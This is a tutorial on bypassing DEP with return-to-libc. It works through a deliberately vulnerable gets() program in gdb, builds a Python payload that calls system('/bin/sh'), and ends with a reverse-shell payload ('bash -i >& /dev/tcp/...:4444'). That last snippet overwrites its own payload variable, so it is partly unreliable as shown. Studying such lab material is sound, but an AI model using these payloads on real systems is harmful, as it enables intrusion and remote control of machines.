Bypassing DEP with Return-to-libc
In the Linux buffer overflow tutorial and the Windows buffer overflow tutorial, we exploited stack overflows by injecting shellcode onto the stack and redirecting EIP to execute it. It worked because we disabled DEP.
Now we turn DEP back on and see what happens.
DEP (Data Execution Prevention) marks the stack and heap as non-executable. Even if our shellcode lands perfectly in memory, the CPU checks the page permissions, sees there's no Execute flag, and raises an access violation. Our shellcode is dead on arrival.
Before DEP: Stack = RWX → shellcode runs
After DEP: Stack = RW → "Access Violation" — can't execute data
But here's the key insight: the code section of the executable and its loaded libraries (libc, kernel32, ntdll) are already executable. They have to be — they contain the program's own code. What if instead of injecting new code, we just jump to code that already exists?
That's return-to-libc — the simplest DEP bypass, and the foundation for the more advanced ROP chain technique we'll cover in the next article.
The Idea
libc (the C standard library) is loaded into every C program's address space. It contains thousands of useful functions — including system(), which executes a shell command.
If we can make the program call system("/bin/sh"), we get a shell. No shellcode needed. The system() function lives in an executable page (libc's .text section), so DEP doesn't block it.
The plan:
- Overflow the buffer to overwrite the return address
- Set the return address to the address of
system()in libc - Arrange the stack so that
system()receives"/bin/sh"as its argument - Profit
#include <stdio.h>
#include <string.h>
void vulnerable()
{
char buffer[64];
gets(buffer);
puts(buffer);
}
int main()
{
vulnerable();
return 0;
}
thilan@ubuntu:~$ ./ret2libc
hello
hello
thilan@ubuntu:~$ gdb ./ret2libc -q
Reading symbols from ./ret2libc...
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x000011e3 <+0>: lea ecx,[esp+0x4]
0x000011e7 <+4>: and esp,0xfffffff0
0x000011ea <+7>: push DWORD PTR [ecx-0x4]
0x000011ed <+10>: push ebp
0x000011ee <+11>: mov ebp,esp
0x000011f0 <+13>: push ebx
0x000011f1 <+14>: push ecx
0x000011f2 <+15>: call 0x10b0 <__x86.get_pc_thunk.bx>
0x000011f7 <+20>: add ebx,0x2dd9
0x000011fd <+26>: call 0x11ad <vulnerable>
0x00001202 <+31>: sub esp,0xc
0x00001205 <+34>: push 0x0
0x00001207 <+36>: call 0x1060 <exit@plt>
End of assembler dump.
(gdb) disass vulnerable
Dump of assembler code for function vulnerable:
0x0000119d <+0>: push ebp
0x0000119e <+1>: mov ebp,esp
0x000011a0 <+3>: push ebx
0x000011a1 <+4>: sub esp,0x44
0x000011a4 <+7>: call 0x10a0 <__x86.get_pc_thunk.bx>
0x000011a9 <+12>: add ebx,0x2e2b
0x000011af <+18>: sub esp,0xc
0x000011b2 <+21>: lea eax,[ebp-0x48]
0x000011b5 <+24>: push eax
0x000011b6 <+25>: call 0x1040 <gets@plt>
0x000011bb <+30>: add esp,0x10
0x000011be <+33>: sub esp,0xc
0x000011c1 <+36>: lea eax,[ebp-0x48]
0x000011c4 <+39>: push eax
0x000011c5 <+40>: call 0x1050 <puts@plt>
0x000011ca <+45>: add esp,0x10
0x000011cd <+48>: nop
0x000011ce <+49>: mov ebx,DWORD PTR [ebp-0x4]
0x000011d1 <+52>: leave
0x000011d2 <+53>: ret
End of assembler dump.
0x000011af <+18>: sub esp,0xc
0x000011b2 <+21>: lea eax,[ebp-0x48]
0x000011b5 <+24>: push eax
0x000011b6 <+25>: call 0x1040 <gets@plt>
(gdb) b *vulnerable+25
Breakpoint 1 at 0x11c6: file ret2libc.c, line 8.
(gdb) b *vulnerable+40
Breakpoint 2 at 0x11d5: file ret2libc.c, line 9.
thilan@wso2 ~ $ python3 -c "print('A' * 100)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(gdb) i r esp
esp 0xffffd340 0xffffd340
(gdb) x/30wx 0xffffd340
0xffffd340: 0xffffd350 0x00000000 0x00000000 0x565561b9
0xffffd350: 0x00000000 0xffffd5bb 0x00000002 0x0000001c
0xffffd360: 0x00000020 0x00000000 0x00000000 0xffffdfe2
0xffffd370: 0xf7fc7570 0xf7fc7000 0x00000000 0x00000000
0xffffd380: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd390: 0x00000000 0x56558fd0 0xffffd3a8 0x56556202
0xffffd3a0: 0xffffd3c0 0xf7faee34 0x00000000 0xf7daac75
0xffffd3b0: 0x00000000 0xffffd474
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 2, 0x565561d5 in vulnerable () at ret2libc.c:9
9 puts(buffer);
(gdb) x/30wx 0xffffd340
0xffffd340: 0xffffd350 0x00000000 0x00000000 0x565561b9
0xffffd350: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd360: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd370: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd380: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd390: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd3a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd3b0: 0x41414141 0xffffd400

(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Breakpoint 2, 0x565561d5 in vulnerable () at ret2libc.c:9
9 puts(buffer);
(gdb) x/30wx 0xffffd340
0xffffd340: 0xffffd350 0x00000000 0x00000000 0x565561b9
0xffffd350: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd360: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd370: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd380: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd390: 0x41414141 0x41414141 0x41414141 0x42424242
0xffffd3a0: 0xffffd300 0xf7faee34 0x00000000 0xf7daac75
0xffffd3b0: 0x00000000 0xffffd474
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) info proc mappings
process 1990
Mapped address spaces:
Start Addr End Addr Size Offset Perms objfile
0x56555000 0x56556000 0x1000 0x0 r--p /home/thilan/ret2libc
0x56556000 0x56557000 0x1000 0x1000 r-xp /home/thilan/ret2libc
0x56557000 0x56558000 0x1000 0x2000 r--p /home/thilan/ret2libc
0x56558000 0x56559000 0x1000 0x2000 r--p /home/thilan/ret2libc
0x56559000 0x5655a000 0x1000 0x3000 rw-p /home/thilan/ret2libc
0xf7d86000 0xf7da9000 0x23000 0x0 r--p /usr/lib32/libc.so.6
0xf7da9000 0xf7f28000 0x17f000 0x23000 r-xp /usr/lib32/libc.so.6
0xf7f28000 0xf7fad000 0x85000 0x1a2000 r--p /usr/lib32/libc.so.6
0xf7fad000 0xf7faf000 0x2000 0x226000 r--p /usr/lib32/libc.so.6
0xf7faf000 0xf7fb0000 0x1000 0x228000 rw-p /usr/lib32/libc.so.6
0xf7fb0000 0xf7fba000 0xa000 0x0 rw-p
0xf7fc1000 0xf7fc3000 0x2000 0x0 rw-p
0xf7fc3000 0xf7fc7000 0x4000 0x0 r--p [vvar]
0xf7fc7000 0xf7fc9000 0x2000 0x0 r-xp [vdso]
0xf7fc9000 0xf7fca000 0x1000 0x0 r--p /usr/lib32/ld-linux.so.2
0xf7fca000 0xf7fed000 0x23000 0x1000 r-xp /usr/lib32/ld-linux.so.2
0xf7fed000 0xf7ffb000 0xe000 0x24000 r--p /usr/lib32/ld-linux.so.2
0xf7ffb000 0xf7ffd000 0x2000 0x31000 r--p /usr/lib32/ld-linux.so.2
0xf7ffd000 0xf7ffe000 0x1000 0x33000 rw-p /usr/lib32/ld-linux.so.2
0xfffdd000 0xffffe000 0x21000 0x0 rw-p [stack]
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7dd58e0 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xf7dc45b0 <exit>
(gdb) find 0xf7d86000,0xf7fb0000,"/bin/sh"
0xf7f42de8
1 pattern found.
# system = 0xf7dd58e0
# exit = 0xf7dc45b0
# binsh = 0xf7f42de8
payload = b"A" * 76
payload += b"\xe0\x58\xdd\xf7" # system()
payload += b"\xb0\x45\xdc\xf7" # exit()
payload += b"\xe8\x2d\xf4\xf7" # "/bin/sh"
with open("payload", "wb") as f:
f.write(payload)
thilan@ubuntu:~$ (cat payload; cat) | ./ret2libc
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�X��E���-��
whoami
thilan
id
uid=1000(thilan) gid=1000(thilan) groups=1000(thilan),27(sudo),988(vboxsf)
# system = 0xf7dd58e0
# exit = 0xf7dc45b0
# buffer = 0xffffd3c0
# Target = 192.168.8.167 : 4444
payload = b"A" * 76
payload += b"\xe0\x58\xdd\xf7" # system()
payload += b"\xb0\x45\xdc\xf7" # exit()
payload += b"\xc0\xd3\xff\xff" # buffer address
payload = b"A" * 12
payload += b"bash -i >& /dev/tcp/192.168.8.167/4444 0>&1\x00"
with open("payload", "wb") as f:
f.write(payload)